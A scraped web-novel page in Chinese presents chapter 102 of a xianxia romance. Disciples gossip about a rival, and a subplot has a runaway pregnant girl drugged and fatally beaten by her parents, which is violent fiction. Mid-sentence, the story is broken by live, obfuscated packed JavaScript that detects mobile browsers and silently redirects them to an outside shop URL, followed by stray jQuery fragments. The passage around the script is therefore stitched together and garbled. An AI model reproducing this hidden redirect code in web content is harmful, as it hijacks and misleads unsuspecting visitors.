文趣网 > 都市小说 > 勾引无情道宿敌 > 102. 恶意
    涂明白提笔埋头于桌案一众书山卷海中,萧瑟寒风呼啸而至,纸张噼里啪啦直响。

    在一旁打坐的顾泽霜闻声睁开了眼,他面无表情地起身关了窗户,然后在一个地方停了下来,站成了一块沉默的石头。

    涂明白无视眼前投下的一大片阴影,将几册书同时摊开一目十行地飞速扫视。

    “啪!”顾泽霜微皱双眉,将双臂撑在桌上,恰巧压住涂明白视线锁定的那些字段,目光沉沉。

    涂明白“啧”了一声,终于舍得抬头了,他眼含笑意,问:“霜霜宝贝,我的大小姐,你这又是怎么了?”

    顾泽霜不悦道:“大师兄,你怎么还沉得住气啊!”

    涂明白好整以暇地望他:“我为何沉不住气?”

    “顾微不是说,顾子安被一个男人迷得忘记了自己姓什么家在哪?”顾泽霜掷地有声,“十年!整整十年!”

    涂明白:“嘶——我倒是好奇那个男人长什么样子。”

    顾泽霜拧眉:“顾微把他吹得天花乱坠的,我怎么知道长什么样子?但是顾微的审美我实在是不敢恭维。”

    顾泽霜喜欢白衣,并且固执且不可救药的认为白色是世界上最美好的色彩,而顾微天生不喜欢白色,她喜欢各种鲜艳的颜色,每套衣服的颜色十个手指头绝对数不过来。

    顾泽霜每次见到顾微都是龇牙咧嘴,一副不忍直视惨不忍睹的模样,常常引得顾微偷偷给他画各种各样奇怪的符篆以此泄愤捉弄取乐。

    窗外群山连绵,氤氲在烟云之中,涂明白的酸涩的目光徜徉其中,淡淡道:“你以为顾子安是什么很不挑剔的人吗?他看得上的,我们就别瞎操心了。”

    顾泽霜隔应:“我这不是担心英雄难过美人关吗?而且他和男人鬼混在一起,我怎么想怎么奇怪,瘆得慌。”

    “顾微说什么你就信什么?”涂明白收回视线,居高临下地看着顾泽霜,“你又不是第一天认识顾微了,她说的话,你往往只能信三分。”

    “互赠神武,这是能开得玩笑的事情吗?”顾泽霜愤怒,“就算是顾微夸大其词,那也必不是空穴来风。”

    涂明白沉默了一会儿,问道:“顾放怎么说?”

    顾泽霜不屑道:“他能说什么?怯弱不堪,说话都说不清楚,废物一个。”

    顾泽霜为顾子安低声鸣不平:“有时候,我真搞不懂我们师尊是怎么想的,他用一个废物点心儿子逼走另一个天赋卓绝儿子,究竟是图什么啊?就顾放那三脚猫的功夫还有懦弱无能的性格,要不是师尊隔三差五敲打怀宁门生不准私下斗殴,他早就被打死了,坟头草都迎风招展了。”

    涂明白眼神一冷,给顾泽霜飞来一记眼刀,他拉长声音道:“霜霜,慎言呐。我知道你为什么而气愤,在子安离开怀宁之前的那段时间,你和他在排行榜上一直是平手,可他一言不发地却跑了,你憋着一口气,有气无处使。”

    顾泽霜坦诚道:“是啊,大师兄,我不瞒你说,我就是想打败顾子安,如果我比他厉害,怀宁顾氏的少宗主之位,凭什么落在他头上。”

    涂明白露出了一个意味深长的表情,他安慰顾泽霜:“既然如此,他和别人如何如何鬼混,岂不是如你所愿?”

    “那不一样,我亲手打败他和他自己烂掉,是不一样的。话说我们都十年没见到他了,不知道他现在……”顾泽霜说着说着声音又小了下去,“顾放为什么偏要凑上去讨嫌?顾子安可是心狠手辣的人,他真的打死了顾放,师尊又能说什么呢?”

    涂明白悠悠道:“小师妹和顾放同行,你觉得呢?”

    “真够令人恶心的。”顾泽霜毫不客气地下了结论。

    涂明白贴在桌上的符纸闪烁,涂明白示意顾泽霜噤声,下一刻顾微的声音从传音符里面传了过来:“大师兄……”

    “我在,怎么了?”

    顾微柔柔道:“你可不可以去问问师尊,我什时候可以回来啊?我想你了。”

    涂明白爽朗一笑:“发生了什么事?”

    顾微看着不远处雪地里婉娘满身伤痕的冰冷尸体,打了一个寒颤,泪流满面道:“人间太邪恶了。”

    不似怀宁简单且直接的恶意,人间的恶意隐藏在虚伪和温情的面具之下,变幻莫测,令人防不胜防。

    *

    时间回到一个月前,婉娘在顾子安口中得知一生操劳的娘亲尚在挂念自己寻找自己,自责和思念以及无尽的悔恨充斥在她的内心,春风一度的修士早已无法找寻,就算是寻到了她又能如何呢?

    天下之大,早已没有了她的归处,而今她的来处在不计前嫌地呼唤她。

    婉娘本就年轻,懵懂无知,怀孕之后她更加忧愁善感,在得知她娘在找她之后,她就归心似箭。

    婉娘说:“我要回家。”

    她是个不肖女,父亲母亲生她养她把她拉扯长大,家庭犹如一棵大树为她遮风挡雨,她一直在汲取与索要,从未想过感激与回馈。

    她只需要去伺候一个命不久矣的老人,短暂地牺牲自己的幸福和自由,却可以为家庭带来一笔巨款。

    她想到沉默寡言的父亲,想到整日操劳的母亲,再想到她不管不顾地离开,随随便便和一个陌生男人上床。

    她真是混账啊。

    婉娘要回家,没有人敢拦着她。

    老鹰除外,老鹰不是人。

    老鹰说:“婉娘,你这么快就忘记你家里人的嘴脸了吗?他们想要卖掉你换钱,然后修房子给你弟弟娶媳妇咧。你为什么要牺牲自己的幸福去成全你弟弟的幸福?”

    婉娘说:“我想家了,我在外面漂泊多日,我很累了。”

    老鹰说:“你忘了我们之间的约定了吗?我很有可能不会死了,我们一起养孩子不行吗?”

    婉娘摇头:“你根本不是人,我怎么和你一起养孩子?”

    老鹰怒:“那个野男人才不是人,他真是丧心病狂,怎么对你下得了手?我们怎么不能一起养孩子了,你不就是孤单,想找一个伴吗?”

    婉娘问:“那你孩子的爹呢?”

    老鹰漠然:“死了。它不是妖,短命。”

    婉娘:“抱歉啊。”

    婉娘深吸一口气,说:“鹰姐,谢谢你这段时间对我的照顾,你很好,但是我是一个人。”

    老鹰一脸冷酷:“……你滚吧。你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17853749|211867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    觉得你揣着一个野种回家,你的家里人会很喜欢你吗?在他们眼里,你已经失去了宝贵贞洁,沦为了□□,你已经没有价值了。”

    婉娘虽然被老鹰的这番说辞微微吓住,但是她还是选择信任自己的家人:“不会的,我娘虽然脾气不太好,但是她对我挺好的,我爹也是,他们只是不会表达。”

    婉娘回到家门口,伫立良久,颇有些近乡情怯的意味,她爹在院子里面砍柴,她娘正坐在门口织毛衣,家里的大黄先闻到了婉娘的气息,一个劲的撒欢狂叫。

    “死狗,别叫了!”与粗鲁骂声相伴而行的是她娘顺手扔过去的扫帚。

    大黄颈上系着链条,活动范围只在三步之内,毫无悬念地被扫帚重击,“嗷呜”一声悲嚎,大黄趴下身体,一脸做错坏事的模样委屈巴巴地看向屋内的女人,又看了一眼门口的婉娘,没有再发出任何声响。

    “娘……我回来了……”婉娘哽咽道。

    她娘织毛衣的手一顿,脑袋瞬间看向门口,难以置信地伸出皲裂粗糙的手指揉捏自己的眼睛。

    她娘跳了起来,健步如飞来到婉娘身边,掐住婉娘的胳膊,朝她爹喊:“他爹他爹,那个死女儿回来了!”

    她娘的目光被婉娘微微隆起的小腹短暂地吸引,随即很快挪开。

    婉娘觉得自己的胳膊要被掐掉一块肉了,她疼得要死,死活挣脱不开,抽着旱烟的父亲从拐角处探出脑袋,轻飘飘地看了一眼,然后转身离开,继续劈柴。

    热气裹着醇厚的肉香漫满简陋的屋舍,袅袅白雾从瓦缝间悠悠飘出去。婉娘捧着粗陶碗,碗里盛着几块炖得软烂的肉,浮着一层薄薄的油花。她低头,小口咬下,肉汁在唇齿间漫开,暖意顺着喉咙缓缓落到腹中。

    弟弟不在家中,婉娘第一次独自吃到了肉,她热泪盈眶,觉得也许这就是幸福吧。

    幸福是一种令人眩晕的感觉,明明头脑尚且清醒,心底却泛起一阵轻飘飘的恍惚,心口软软地发胀,连呼吸都变得轻飘,仿佛脚下的实地都在微微发虚。

    周遭的一切都蒙上一层柔和的光晕,然后婉娘坠入了一个轻柔的美梦。

    她没有再睁开眼睛。

    婉娘不知道,她的逃婚之举惹恼了那个古怪鳏夫,鳏夫依旧给了她爹娘一笔巨款,作为交换,他必须在年前娶到婉娘。

    她娘不忍心婉娘去受那种折磨,所以她在汤里下了迷药,她的女儿还如此年轻,只要打掉孩子,没有人会知道她有一段如此不堪的过往,以她女儿的姿色,绝对可以找一个好人家。

    她的儿子借着那笔巨款已经入赘,做了别人的上门女婿,不认他们这个爹娘了,他们只有女儿可以依靠了。

    男人在门口坐着抽烟放哨,女人使出棍棒。

    女人没有把握好力道,巴巴地望着门口的男人,男人吸了一口烟,说:“眼看就快过年了,晦气。”

    *

    顾微不愧是一个殿堂级别的符修,她真的无师自通制作出了一种可以替代心脏的符篆。

    老鹰十分开心,带着已经学会飞翔的崽崽们想去找婉娘显摆。

    路上,老鹰眼尖,看到了在雪地里安睡的婉娘。